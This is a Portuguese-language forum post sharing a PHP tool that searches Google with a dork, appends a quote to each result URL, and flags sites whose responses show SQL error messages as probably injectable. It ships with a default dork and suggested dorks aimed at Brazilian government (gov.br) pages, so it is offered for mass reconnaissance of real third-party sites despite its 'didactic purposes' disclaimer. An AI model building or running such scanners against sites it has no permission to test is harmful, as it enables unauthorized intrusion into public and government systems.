A um tempo atrás criei um simples scanner SQLI e decidi compartilhar aqui com o pessoal
Alguns pontos não estão 100%, porém o script está muito funcional.
att, ar3ax.
Alguns pontos não estão 100%, porém o script está muito funcional.
Código PHP:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>SQLI Scanner criado por ar3ax</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href='http://darkfaktor.com/forum/images/smilies/caveira.png' rel='icon' type='image/x-icon'/>
<!--
SQLI Scanner criado por areax apenas para fins didáticos
0000 0000 00000 0000 00 00
00 00 00 00 00 00 00 00 00
000000 00000 0000 000000 000
00 00 00 00 00 00 00 00 00
00 00 00 00 00000 00 00 00 00
Forte abraço ao pessoal:
www.guiadohacker.com.br
www.forum-invaders.com.br
areax@hotmail.com
-->
<style type = "text/css">
<!--
.caixa{
background:#262626;
border:1px green solid;
padding:5px;
color:green;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
}
.caixa:hover{
background:#262626;
border:1px green solid;
padding:5px;
color:green;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
-webkit-box-shadow: 0px 0px 10px 1px #00FF00;
-moz-box-shadow: 0px 0px 10px 1px #00FF00;
box-shadow: 0px 0px 10px 1px #00FF00;
}
.botao{
background:#262626;
border:1px green solid;
padding:5px;
color:green;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
cursor:pointer;
}
.botao:hover{
background:#262626;
border:1px green solid;
padding:5px;
color:green;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
-webkit-box-shadow: 0px 0px 10px 1px #00FF00;
-moz-box-shadow: 0px 0px 10px 1px #00FF00;
box-shadow: 0px 0px 10px 1px #00FF00;
cursor:pointer;
}
.metodo{
background:#262626;
width:18%;
border:1px green solid;
padding:5px;
color:green;
-webkit-border-radius: 5px;
-moz-border-radius: 5px;
border-radius: 5px;
float:left;
}
.result:link {text-decoration:none;color:green;}
.result:visited {text-decoration:line-through; color:gray;}
.result:active {text-decoration:line-through;color:gray;}
.result:hover {text-decoration:underline;}
-->
</style>
</head>
<body style = "background:black;">
<a style = "color:green;font-size:30px;"> SQLI Scanner criado por ar3ax - V1.0 </a><br>
<a style = "color:green"> Use com moderação!</a><br><br>
<form method = "POST" action = "?scan=fire">
<b style = "color:green;">Dork:</b> <input class = "caixa" type = "text" value = "allinurl:'noticias.php?id='" size = "54" name = "dork" title = "Insira sua dork">
<input class = "botao" type = "submit" name = "submit" value = "Fire!" title = "Começar!"><br><br>
<b style = "color:green;float:left;padding-right:4px;padding-top:4px;">Método: </b> <div class = "metodo" title = "Escolha o método de busca"><input type = "radio" name = "metodo" value = "rapido" checked= "checked" title = "Busca rápida"> <b style = "color:green;">Rápido</b>
<input title = "Neste método alguns links padem ser repetidos" type = "radio" name = "metodo" value = "intensivo"> <b style = "color:green;" >Intensivo</b></div>
<b style = "color:green;padding-left:15px;">Quantidade:</b> <input class = "caixa" type = "text" name = "quant" value = "5" size = "2" title = "Quantidade de links por página">
</form><br>
<?php
set_time_limit(60);//Limite máximo de execução
error_reporting(0);//Exibição de erro(desativado)
$scan =& $_GET["scan"];//Variável para recebimento da ação
$dork =& $_POST['dork']; //Variável para recebimento da dork
$quant =& $_POST['quant']; //Variável para recebimento da quantidade
$metodo =& $_POST['metodo']; //Variável para recebimento do método
if($quant > 100)
{
$quant = 100;
}
if(($scan == "fire") and !empty($dork))
{
print "<hr>";
scanner($dork,$quant,$metodo); //Uso da função
}
function scanner($dork,$quant,$metodo)//Começo da função
{
if($metodo == "rapido")
{
$pag = 0;//Quantidade de páginas de procura - Método rápido
}
else
{
$pag = 10;//Quantidade de páginas de procura - Método Intensivo
}
for($e=0;$e <= $pag;$e++) //Laço para páginas do google
{
//Função CURL para pesquisa no google
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.google.com.br/search?hl=pt-BR&q=$dork&num=100&start=$pag");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$saida = curl_exec($ch);
//Fim da função CURL para pesquisa no google
for($i=1;$i <= $quant;$i++) //Laço para links
{
$html = explode('<h3 class="r"><a href="',$saida); //Pega o link junto com o HTML
$link = explode('"',$html[$i]); //Retira o HMLT e pega o link antes do caractere "
$verifiquer1 = explode("/",$link[0]); // Variável para verificação de sites repetidos
if(!empty($link[0])) //Link não vazio
{
//Função CURL para verificação no site
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, "$link[0]"."'");
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
$saida2 = curl_exec($ch2);
//Fim da função CURL para verificação no site
if($verifiquer1[2] <> $verifiquer2[2]) // Verificação de sites repetidos
{
print "<a class = \"result\" href=\"$link[0]'\" target = \"_blank\">".$link[0]."</a>"; //Imprime o link
if (preg_match("/You have an error in your SQL|SQL query failed|supplied argument is not a valid MySQL|Incorrect syntax near|Warning:/",$saida2)) //Simples verificação de SQLI (Pode ser melhorado)
{
print "<b style = \"color:#7FFF00;\"> - Provavelmente com SQLI</b>"; //Com SQLI
}
else
{
print "<b style = \"color:red;\"> - Provavelmente sem SQLI</b>"; //Sem SQLI
}
print "<br>";//Quebra de linha
}
else
{
$quant = $quant + 1; // Elimina site repetido e add mais uma repetição
}
$verifiquer2 = explode("/",$link[0]); // Variável para verificação de sites repetidos
unset($link);//Limpa variável para receber o próximo valor
}
else
{
exit("<b style = \"color:red;font-size:20;\">Ocorreu um erro na busca</b>");//Para o programa
}
}
curl_close($ch); //Limpa CURL 1
curl_close($ch2);//Limpa CURL 2
}
}//fim da função
?>
<br><br>
<a color = "black">Sugestão: inurl%3A"gov.br"+%26+inurl%3A".php%3Fid%3D"</a><br>
<a color = "black">Sugestão: inurl%3A"gov.br"+%26+inurl%3A".php%3F"+%26+inurl%3A"%3D5"</a><br>
</body>
</html>